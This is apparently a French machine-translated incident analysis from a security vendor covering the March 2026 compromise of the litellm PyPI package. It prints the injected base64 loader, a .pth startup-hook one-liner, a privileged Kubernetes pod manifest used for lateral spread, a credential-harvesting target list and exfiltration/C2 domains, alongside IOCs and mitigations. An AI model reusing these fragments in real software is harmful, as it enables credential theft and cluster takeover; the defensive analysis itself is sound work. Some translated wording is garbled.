Pourquoi est-ce important
Le 24 mars 2026, le populaire package Python litellm, une passerelle proxy LLM universelle utilisée par des milliers de enterpriseUn système permettant de router le trafic entre les applications et les fournisseurs d'IA tels qu'OpenAI, Anthropic, Google et AWS Bedrock a été discrètement compromis sur PyPI. Deux versions infectées (1.82.7 et 1.82.8) ont été publiées à 13 minutes d'intervalle, transportant une charge utile en plusieurs étapes qui a permis de voler des identifiants, d'exfiltrer des données sensibles du cloud, de se propager latéralement sur des clusters Kubernetes et d'installer une porte dérobée persistante avec des capacités d'exécution de code à distance.
Avec environ 3.6 millions de téléchargements quotidiens et grâce à son déploiement en profondeur sur une infrastructure d'IA native du cloud, litellm se situe au carrefour de tout ce que convoitent les attaquants modernes : clés API pour tous les principaux fournisseurs d'IA, identifiants IAM cloud, secrets Kubernetes et clés SSH.
Mais ce compromis littéral n'était pas un événement isolé. Il était l'aboutissement d'un processus. campagne de cinq jours et cinq écosystèmes par un acteur de menace connu sous le nom de TeamPCPune campagne qui a d'abord empoisonné les scanners de sécurité (Aqua Trivy, Checkmarx KICS), puis utilisé les données volées CI/CD Les identifiants ont ensuite été utilisés pour se propager en aval vers npm, OpenVSX et, enfin, PyPI. Les attaquants ont ainsi détourné les outils mêmes sur lesquels les organisations s'appuient pour protéger leurs chaînes d'approvisionnement.
Cette attaque représente un tournant majeur dans la sophistication des menaces pesant sur la chaîne d'approvisionnement. Son architecture multi-sauts et inter-écosystèmes, compromettant les outils de sécurité pour atteindre des cibles de grande valeur, en est la preuve. Elle repose sur une conception multi-sauts et inter-écosystèmes, et compromet les outils de sécurité pour atteindre des cibles de grande valeur. Infrastructure d'IA, Ce procédé témoigne d'une maturité en matière de planification et d'opérations, à l'image des outils d'attaque de plus en plus standardisés. Les charges utiles ont été itérées en temps réel (trois variantes apparaissent dans le code source, dont des versions antérieures commentées), l'infrastructure C2 a été enregistrée la veille de l'attaque et les domaines d'exfiltration ont été soigneusement sélectionnés pour imiter l'infrastructure légitime des fournisseurs. Le système de collecte d'identifiants, systématiquement exhaustif et couvrant plus de 15 catégories, y compris des cibles spécifiques comme les clés de signature Cardano et les configurations WireGuard, suggère un débit qui indique que le développement de logiciels malveillants assisté par l'IA décuple la puissance de frappe.
Forum
| Date (UTC) | Espaces |
|---|---|
| Mars 19 | TeamPCP compromet les balises GitHub Action d'Aqua Trivy, les remplaçant par du code malveillant qui exfiltre des données. CI/CD secrets provenant des dépôts en aval |
| Mars 21 | La compromission s'étend à Checkmarx KICS et aux actions GitHub AST en utilisant des techniques similaires. |
| 22 mars, 06h35 | BerriAI publie litellm 1.82.6 (dernière version propre) via normal CI/CD pipeline qui utilise Trivy pour l'analyse de sécurité |
| Mars 23 | TeamPCP enregistre models.litellm.cloud (domaine d'exfiltration). Compromet plus de 66 packages npm et extensions OpenVSX. |
| 24 mars, 10h39 | litellm 1.82.7 publié sur PyPI -- charge utile injectée dans proxy_server.py Au niveau du module. S'exécute lors de l'importation. |
| 24 mars, 10h52 | litellm 1.82.8 publié 13 minutes plus tard -- ajoute litellm_init.pth, un hook de configuration de chemin Python qui s'exécute à chaque démarrage de l'interpréteur Python, et pas seulement lors des importations litellm. Démontre une itération rapide de la charge utile. |
| 24 mars, vers 16h00 | PyPI supprime les deux versions suite aux signalements de la communauté. Les versions sont définitivement supprimées (et non simplement retirées) de l'index, mais les archives tar du CDN restent accessibles. |
Durée d'exposition : environ 5.5 heures. Pendant cette période, tout
pip install litellm,
pip install --upgrade litellm, ou CI/CD pipeline Le téléchargement de la dernière version aurait permis d'exécuter la charge utile.
Comment le logiciel malveillant s'est introduit : la compromission en cascade
Le package litellm n'a pas été directement compromis. L'attaquant y a accédé via un attaque de chaîne d'approvisionnement à deux sauts:
Aqua Trivy GitHub Action (compromised March 19)
--> LiteLLM CI/CD pipeline runs Trivy without pinned version
--> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner
--> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI
LiteLLM CI/CD pipeline J'ai utilisé Trivy comme scanner de sécurité ; or, l'outil même conçu pour détecter les vulnérabilités s'est avéré être le vecteur d'attaque. Parce que pipeline Trivy référencé par une étiquette modifiable plutôt que par une étiquette épinglée commit SHA, l'action compromise s'est exécutée automatiquement. L'action malveillante Trivy a exfiltré des secrets de l'environnement, notamment le PYPI_PUBLISH jeton, donnant à TeamPCP un accès direct à la publication sur le projet PyPI de litellm.
Cette stratégie de « compromission des gardes » est une caractéristique de la campagne TeamPCP. En ciblant d'abord les outils de sécurité (Trivy, Checkmarx KICS), les attaquants ont simultanément désactivé la détection et obtenu un accès privilégié aux chaînes d'approvisionnement en aval.
Analyse technique : La charge utile
Points d'injection
Version 1.82.7 — Exécution au niveau du module dans litellm/proxy/proxy_server.py (ligne 128) :
import subprocess, base64, sys, tempfile, os
b64_payload = "<~12KB base64 blob>"
with tempfile.TemporaryDirectory() as d:
p = os.path.join(d, "p.py")
with open(p, "wb") as f:
f.write(base64.b64decode(b64_payload))
subprocess.run([sys.executable, p])
Ce code se situe au niveau du module, entre un littéral de dictionnaire et l'original showwarning() fonction. Elle s'exécute immédiatement lorsque litellm.proxy.proxy_server est importée — ce qui se produit à chaque utilisation de la fonctionnalité proxy de litellm.
Version 1.82.8 - Ajoutée litellm_init.pth (Fichier de configuration du chemin Python) :
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...)
Python .pth les fichiers site-packages/ sont traitées à chaque démarrage de l'interpréteur, mais seulement les lignes commençant par import sont exécutés comme du code. L'attaquant exploite cette faille en enchaînant l'intégralité de la charge utile sur une seule import déclaration: import os, subprocess, sys; subprocess.Popen(...)Cette méthode est bien plus agressive que l'injection proxy_server.py — elle se déclenche même si litellm n'est jamais importé, à chaque lancement d'un processus Python. pyproject.toml a été modifié pour inclure ce fichier dans la distribution :
include = [
{ path = "litellm_init.pth", format = ["sdist", "wheel"] }
]
La version 1.82.8 possède donc deux chemins d'exécution indépendantsL'injection via proxy_server.py (déclenchée lors de l'importation du proxy litellm) et le fichier .pth (déclenché à chaque démarrage de Python) constituent des failles importantes. Cette redondance est en soi significative : elle empêche la détection ou la suppression de l'une ou l'autre de ces voies prises isolément. Le passage d'une exécution lors de l'importation à une exécution au démarrage, seulement 13 minutes après la mise à jour vers la version 1.82.7, suggère que l'attaquant surveillait le succès du déploiement et itérait rapidement.
Étape 1 : Collecte exhaustive des identifiants
Le script interne décodé est un système de récupération d'identifiants extrêmement méticuleux. Il utilise os.walk(), glob.glob(), subprocess.check_output()et des lectures directes de fichiers pour balayer l'ensemble du système :
| Catégorie | Cibles |
|---|---|
| Reconnaissance du système | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; clés d'hôte de /etc/ssh/ |
| Cloud (AWS) | ~/.aws/credentials, ~/.aws/config; identifiants de rôle IMDS via 169.254.169.254; Gestionnaire des secrets ListSecrets; SSM DescribeParameters |
| Cloud (GCP) | ~/.config/gcloud/ (récursif); $GOOGLE_APPLICATION_CREDENTIALS |
| Cloud (Azure) | ~/.azure/ (récursif) ; variables d'environnement |
| Kubernetes | jetons de compte de service ; ca.crt; espace de noms; kubectl get secrets --all-namespaces; tous les secrets via l'API K8s |
| Fichiers d'environnement | .env, .env.local, .env.production, .env.development, .env.staging — Recherche récursive (profondeur 6) sur /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Docker | ~/.docker/config.json, /kaniko/.docker/config.json |
| jetons de paquet | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Bases de données | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, configurations MongoDB |
| TLS / SSL | Clés privées de /etc/ssl/private/, les certificats Let's Encrypt, tous .pem/.key/.p12/.pfx fichiers |
| Git | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Portefeuilles Crypto | Bitcoin, clés Ethereum, paires de clés Solana (validateur, vote, staking, faucet), clés de signature Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Histoire des coquillages | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Authentification système | /etc/passwd, /etc/shadow, journaux d'authentification (sessions SSH acceptées) |
| Clés Webhook/API | Recherche sur Slack Webhooks, site web Discordhooks, clés/secrets API dans les fichiers de configuration |
| VPN | Configurations WireGuard à partir de /etc/wireguard/ |
La portée de cet outil de collecte de données est encyclopédique. Il cible non seulement les identifiants cloud, mais aussi les portefeuilles de cryptomonnaies, les mots de passe de bases de données, les configurations VPN, et bien plus encore. CI/CD Des secrets — suggérant que l'attaquant a l'intention de monétiser les systèmes compromis via de multiples vecteurs.
Étape 2 : Exfiltration cryptée
Les données volées sont chiffrées et exfiltrées à l'aide d'un schéma de chiffrement hybride :
- AES-256-CBC chiffrement de toutes les données collectées avec une clé de session aléatoire de 32 octets (via
openssl enc) - RSA-4096 chiffrement de la clé de session à l'aide de la clé publique intégrée de l'attaquant (remplissage OAEP, via
openssl pkeyutl) - Les deux fichiers chiffrés sont regroupés sous forme de
tpcp.tar.gz(lestpcpLe préfixe « TeamPCP » apparaît systématiquement tout au long de la campagne. - Requête HTTPS vers
https://models.litellm.cloud/auContent-Type: application/octet-stream
Le domaine models.litellm.cloud a été enregistré le 23 mars — la veille de l'attaque — et est conçu pour se fondre dans l'infrastructure légitime de Litellm (le véritable projet utilise litellm.aiMême un défenseur conscient du réseau examinant le trafic sortant pourrait ne pas signaler le trafic vers ce qui semble être le propre point de terminaison du modèle de Litellm.
Étape 3 : Porte dérobée persistante (sysmon.py)
La charge utile installe une porte dérobée de surveillance déguisée en télémétrie système :
- Chemin:
~/.config/sysmon/sysmon.py - Services:
sysmon.service(unité utilisateur systemd, décrite comme « service de télémétrie système ») - ComportementAprès une période de sommeil initiale de 300 secondes, les sondages
https://checkmarx.zone/rawtoutes les ~50 minutes - Internationaux: Télécharge l'URL renvoyée par le C2 vers
/tmp/pglog, le rend exécutable (chmod 755), l'exécute dans une session détachée - Suivi de l'état:
/tmp/.pg_stateempêche le téléchargement à nouveau de la même charge utile - Persistence:
Restart=always,RestartSec=10— survit aux plantages et aux redémarrages
Le domaine checkmarx.zone est un typosquat de Checkmarx (la société de sécurité à checkmarx.comConçue pour que les analystes SOC examinant les journaux réseau voient du trafic provenant d'un fournisseur de sécurité apparemment légitime, cette technique de dissimulation délibérée s'inscrit dans la stratégie globale de TeamPCP qui consiste à se masquer derrière la marque d'un fournisseur de sécurité.
Étape 3b : Déplacement latéral de Kubernetes
Si le système compromis possède des identifiants de compte de service Kubernetes, le logiciel malveillant énumère tous les nœuds du cluster et se déploie. capsules privilégiées à chacun d'eux :
pod_manifest = {
'apiVersion': 'v1', 'kind': 'Pod',
'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
'spec': {
'nodeName': node_name,
'hostPID': True, 'hostNetwork': True,
'tolerations': [{'operator': 'Exists'}],
'containers': [{
'name': 'setup',
'image': 'alpine:latest',
'command': ['sh', '-c', drop_cmd],
'securityContext': {'privileged': True},
'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
}],
'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
'restartPolicy': 'Never'
}
}
Chaque capsule :
- Fonctionne comme privilégié au
hostPID,hostNetworket un accès complet au système de fichiers hôte - Utilisations
chroot /hostpour installer le mêmesysmon.pyporte dérobée sur le système de fichiers racine de l'hôte - Il l'enregistre comme un service systemd, garantissant ainsi sa persistance même après la suppression du pod.
- Nommé
node-setup-*dans lekube-systemespace de noms pour apparaître comme une infrastructure de cluster légitime
Cela signifie un seul compromis CI/CD Un exécuteur ayant accès à K8s pourrait entraîner l'introduction d'une porte dérobée sur chaque nœud du cluster. — un scénario de migration latérale catastrophique pour les organisations utilisant litellm comme proxy dans Kubernetes.
Évolution de la charge utile (Variantes commentées)
Le code source aux lignes 131-132 contient deux variantes de charge utile antérieures commentées, révélant le processus de développement de l'attaquant :
- Les trois variantes partagent la même infrastructure d'exfiltration (
models.litellm.cloud), clé publique RSA-4096, enveloppe de chiffrement hybride AES-256-CBC + RSA, ettpcp.tar.gznommage des paquets - Versions antérieures ajouté un Couche de chiffrement RC4 Dans le script de collecte de données, les données collectées sont chiffrées avant l'encapsulation externe AES+RSA. La charge utile active (ligne 130) est simplifiée par la suppression de cette couche RC4 interne.
- Les variantes antérieures utilisent
exec()auStringIOcapture pour exécuter le collecteur en interne, tandis que la charge utile active utilisesubprocess.run()avec redirection de stdout — une séparation plus propre qui évite de polluer le processus hôte - Les trois variantes ciblent les mêmes catégories d'identifiants et les mêmes parcours de collecte.
- La touche RC4 des premières versions était une insulte provocatrice, cohérente avec le comportement de l'acteur cherchant à attirer l'attention sur Telegram.
Cela révèle un développement actif durant l'opération. L'attaquant a simplifié la pile de chiffrement et amélioré l'isolation de l'exécution tout en maintenant la stabilité des cibles de collecte et de l'infrastructure d'exfiltration.
Indicateurs de compromission (IOC)
Réseau
| Indicateur | Type | Interet |
|---|---|---|
models.litellm.cloud |
Domaine | Point de terminaison d'exfiltration (HTTPS POST) |
checkmarx.zone |
Domaine | Point de terminaison d'interrogation C2 (HTTPS GET) /raw) |
Remarque : Liens vers des rapports externes checkmarx.zone/static/checkmarx-util-1.0.4.tgz à la phase KICS antérieure de la campagne TeamPCP. Cette URL n'a pas été trouvée dans les charges utiles litellm analysées ici.
Hachages de paquets
| Fichier | SHA256 |
|---|---|
litellm-1.82.7.tar.gz |
8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz |
d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
Système de fichiers
| Indicateur | Type | Interet |
|---|---|---|
~/.config/sysmon/sysmon.py |
Fichier | Script de porte dérobée persistant |
~/.config/systemd/user/sysmon.service |
Fichier | unité de persistance Systemd |
/tmp/pglog |
Fichier | Binaire de deuxième étape téléchargé |
/tmp/.pg_state |
Fichier | Suivi de l'état C2 |
litellm_init.pth in site-packages/ |
Fichier | Hook de démarrage Python (v1.82.8 uniquement) |
tpcp.tar.gz |
Fichier | Ensemble d'exfiltration chiffré |
Kubernetes
| Indicateur | Type | Interet |
|---|---|---|
node-setup-* gousses dans kube-system |
Cosse | capsules de déplacement latéral privilégiées |
sysmon.service sur les nœuds du cluster |
Services | Persistance au niveau de l'hôte via l'échappement de pod |
Cryptographique
| Indicateur | DÉTAILS |
|---|---|
| Clé publique RSA-4096 de l'attaquant |
Empreinte SHA256 :
bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Intégré dans les trois variantes de charge utile ; même clé signalée dans d’autres opérations TeamPCP
|
tpcp préfixe dans les artefacts |
Convention d'appellation des paquets (tpcp.tar.gz) cohérente tout au long de la campagne
|
Attribution : TeamPCP
L'auteur de cette menace est identifié comme suit : TeamPCP, également connu sous les noms de PCPcat, Persy_PCP, ShellForce et DeadCatx3.
Caractéristiques connues :
- Gère des chaînes Telegram sur
@Persy_PCPet@teampcpoù ils se moquaient des sociétés de sécurité - Fonctionne sur plusieurs écosystèmes (GitHub Actions, PyPI, npm, OpenVSX)
- Utilise des domaines typosquattés spécifiques au fournisseur pour chaque phase de la campagne (par exemple,
checkmarx.zonepour Checkmarx,models.litellm.cloudpour litellm) - Marqueurs d'infrastructure cohérents : même paire de clés RSA,
tpcp.tar.gzconvention d'appellation,tpcp-docs-*Dépôts GitHub utilisés comme zone de transit morte - Cible les outils de sécurité comme points d'entrée dans les chaînes d'approvisionnement en aval
confiance d'attribution: Élevé. La clé publique RSA partagée, tpcp La dénomination des artefacts, le chevauchement de l'infrastructure C2 et le rythme opérationnel tout au long de la campagne de cinq jours lient fortement les compromissions de Trivy, KICS, npm, OpenVSX et litellm au même acteur.
motivationIl s'agit probablement d'une motivation financière (vol de portefeuilles crypto, monétisation d'identifiants cloud) combinée à une recherche de notoriété (narguages sur Telegram). L'ampleur de la collecte d'identifiants — des comptes AWS IAM aux paires de clés de validation Solana, en passant par les configurations WireGuard — suggère un acteur à motivation financière cherchant à maximiser le retour sur investissement de chaque compromission.
Assistance possible de l'IALe collecteur d'identifiants est systématiquement exhaustif — il couvre plus de 15 catégories, y compris des cibles spécifiques comme les clés de signature Cardano, les configurations WireGuard et les identifiants Docker Kaniko — et ce, de manière cohérente avec une énumération assistée par l'IA. La rapidité d'itération des charges utiles (trois variantes avec différents schémas de chiffrement), la coordination inter-écosystèmes (5 écosystèmes en 5 jours) et la sécurité opérationnelle (usurpation d'identité de fournisseurs, chiffrement hybride, persistance systemd dissimulée sous forme de télémétrie) suggèrent un débit qui pourrait refléter l'effet multiplicateur du développement assisté par l'IA. Cette évaluation reste toutefois hypothétique ; des opérateurs expérimentés pourraient atteindre une envergure similaire sans outils d'IA.
Nouvelles TTP et techniques
1. Empoisonnement de la chaîne d'approvisionnement des outils de sécurité (variante T1195.002)
La compromission des scanners de sécurité (Trivy, KICS) comme première étape vers des cibles en aval constitue une nouvelle escalade. L'attaquant n'a pas seulement compromis une bibliothèque ; il a compromis les outils utilisés par les organisations pour… détecter bibliothèques compromises. Cela crée un angle mort : le scanner censé détecter le code malveillant est lui-même le vecteur de diffusion.
2 Python .pth Persistance des fichiers (T1546)
Le litellm_init.pth La technique utilisée dans la version 1.82.8 est particulièrement insidieuse. Python .pth les fichiers site-packages/ sont traitées à chaque démarrage de l'interpréteur ; toute ligne commençant par import est exécuté comme du code. En enchaînant la charge utile sur un seul import Dans cette déclaration, l'attaquant parvient à exécuter du code malveillant sur tous les processus Python, et pas seulement lors de l'importation de litellm. Cela signifie que le code malveillant s'exécute même si litellm est installé mais jamais utilisé, et qu'il résiste aux mesures correctives remplaçant les paquets compromis. .py fichiers sans vérification .pth fichiers.
3. Déplacement latéral à l'échelle du cluster Kubernetes via le déploiement de pods privilégiés (T1610, T1611)
La création automatisée de pods privilégiés sur chaque nœud du cluster — avec hostPID, hostNetwork, montage du système de fichiers hôte, et chroot pour installer la persistance — chaîne le déploiement de conteneurs (T1610) avec échappement vers l'hôte (T1611) pour transformer une seule charge de travail compromise en une compromission complète du cluster.
4. Infrastructure C2 usurpant l'identité du fournisseur
L'utilisation de models.litellm.cloud (imite littm) et checkmarx.zone (Similaire à Checkmarx) : les points de terminaison C2/exfil sont conçus pour échapper à la surveillance réseau. Les analystes SOC examinant le trafic sortant verraient des connexions HTTPS vers ce qui semble être des domaines de fournisseurs légitimes.
5. Itération rapide de la charge utile en vol
La publication de la version 1.82.7 avec exécution à l'importation, puis de la version 1.82.8 avec exécution au démarrage 13 minutes plus tard, démontre que l'attaquant surveille et s'adapte en temps réel. Les variantes de charge utile commentées (avec différents schémas de chiffrement) conservées dans le code source confirment un développement actif pendant l'opération.
Ce qui peut être fait
Cette attaque exploite la confiance à tous les niveaux : confiance dans les outils de sécurité, confiance dans les registres de paquets, confiance dans les domaines d’apparence familière, confiance dans CI/CD L’automatisation. S’en prémunir exige de renforcer chacune de ces limites de confiance :
Pour les consommateurs de produits emballés
- Épinglez les dépendances par hachage, et non pas seulement par version.
pip install litellm==1.82.6 --hash=sha256:...aurait empêché l'installation des versions compromises, même si elles étaient brièvement apparues comme la dernière version. - Utilisez des fichiers de verrouillage.
pip-compile,poetry.locketuv.lockCapturer les versions exactes et les hachages. CI/CD L'installation doit se faire à partir de fichiers de verrouillage, et non à partir de spécificateurs de version flottants. - Surveiller
.pthfichiers. Auditer régulièrementsite-packages/pour l'inattendu.pthLes fichiers système — ils s'exécutent à chaque démarrage de Python et constituent un mécanisme de persistance sous-estimé. - Mettre en œuvre des contrôles du réseau de sortie. L'exfiltration vers
models.litellm.cloudet le sondage C2checkmarx.zoneaurait pu être intercepté par le filtrage des sorties basé sur une liste blanche dans les environnements de production.
Pour les responsables de paquets
- Pin CI/CD actions par commit SHA, pas étiquette. LiteLLM pipeline J'ai utilisé Trivy sans version épinglée. S'il y avait eu une référence à
aquasecurity/trivy-action@<commit-sha>au lieu de@latest, l'action compromise n'aurait pas été exécutée. - Utilisez des jetons de publication éphémères et à portée limitée. PyPI prend en charge les éditeurs de confiance (basés sur OIDC) et les jetons d'API à portée limitée. Les données exfiltrées
PYPI_PUBLISHLe jeton n'aurait pas dû bénéficier d'un accès à la publication illimité et de longue durée. - Activez l'authentification à deux facteurs sur PyPI. Exiger l'authentification à deux facteurs pour tous les responsables de la maintenance et utiliser des clés de sécurité matérielles lorsque cela est possible.
- Signer les colis. Les attestations Sigstore/PEP 740 permettent aux consommateurs de vérifier qu'un colis a été fabriqué par le fabricant attendu. CI/CD pipeline, et non par un attaquant muni d'un jeton volé.
Pour les opérateurs de plateformes (PyPI, npm, GitHub)
- Détecter les schémas de publication anormaux. Deux nouvelles versions publiées à 13 minutes d'intervalle, à partir d'une adresse IP ou d'un jeton différent de d'habitude, devraient déclencher une mise en attente pour examen ou une analyse automatisée avant que le paquet ne devienne installable.
- Accélérer l'adoption des éditeurs de confiance. La publication basée sur OIDC associe les paquets à des dépôts et des flux de travail spécifiques, rendant les jetons volés inutilisables en dehors du dépôt d'origine. CI/CD contexte
- Mettre en œuvre une analyse des logiciels malveillants au moment de la publication. La charge utile décodée en base64 dans proxy_server.py serait détectable par analyse statique au moment de la publication.
Pour l'écosystème
- Considérez les outils de sécurité comme une infrastructure critique. Trivy et Checkmarx KICS sont utilisés par des millions de personnes pipelineLeurs actions GitHub doivent être signées, épinglées et surveillées avec la même rigueur que les paquets qu'elles analysent.
- Investissez dans la détection en temps réel. L'analyse statique seule ne permet pas de détecter toutes les techniques d'obfuscation. La surveillance en temps réel de l'installation des paquets est nécessaire. hooksLes connexions réseau inattendues et les schémas d'accès aux fichiers suspects constituent une défense en profondeur.
- Partagez plus rapidement les renseignements sur les menaces. Le délai d'exposition de 5.5 heures pour Litellm aurait pu être réduit grâce à une meilleure coordination entre les fournisseurs. Les services de numérisation automatisés tels que Xygeni MEW, Socket et Snyk ont détecté l'anomalie ; le goulot d'étranglement réside dans la confirmation humaine et le temps de réponse du registre.
Conclusion
La campagne TeamPCP marque un tournant décisif pour software supply chain securityEn compromettant d'abord les scanners de sécurité et en les utilisant comme tremplin vers une infrastructure d'IA de grande valeur, les attaquants ont démontré que la chaîne d'approvisionnement n'est aussi forte que sa dépendance transitive la plus faible, et que cette dépendance pourrait être l'outil de sécurité auquel vous faites confiance pour assurer votre sécurité.
La faille de sécurité de Litellm met particulièrement en lumière le risque croissant qui pèse sur l'infrastructure d'IA. À mesure que les passerelles proxy LLM deviennent les standard modèle pour enterprise Lors du déploiement d'une IA, l'accès aux clés API, aux identifiants cloud et aux données sensibles est centralisé dans un seul composant. La compromission de ce composant donne accès à l'ensemble de la pile d'IA.
Les organisations ayant installé litellm 1.82.7 ou 1.82.8 durant la période de 5.5 heures doivent considérer cela comme une compromission totale d'identifiants : renouveler tous les secrets sur les systèmes affectés et auditer les clusters Kubernetes. node-setup-* gousses dans kube-system, supprimez tout sysmon.service unités systemd, et vérifiez les litellm_init.pth en Python site-packages/ répertoires. Utilisateurs de l'image Docker officielle (ghcr.io/berriai/litellm) n'ont pas été affectées, car l'image a figé ses dépendances et n'a pas été reconstruite pendant la fenêtre d'exposition.
À propos de l’auteur
Cofondateur et directeur technique
Luis Rodriguez Il est cofondateur et directeur technique de Xygeni Security. Fort de plus de 20 ans d'expérience dans la sécurité des applications, il se concentre sur la protection AppSec et les capacités avancées d'analyse de code qui aident les équipes à réduire les risques liés au déploiement.




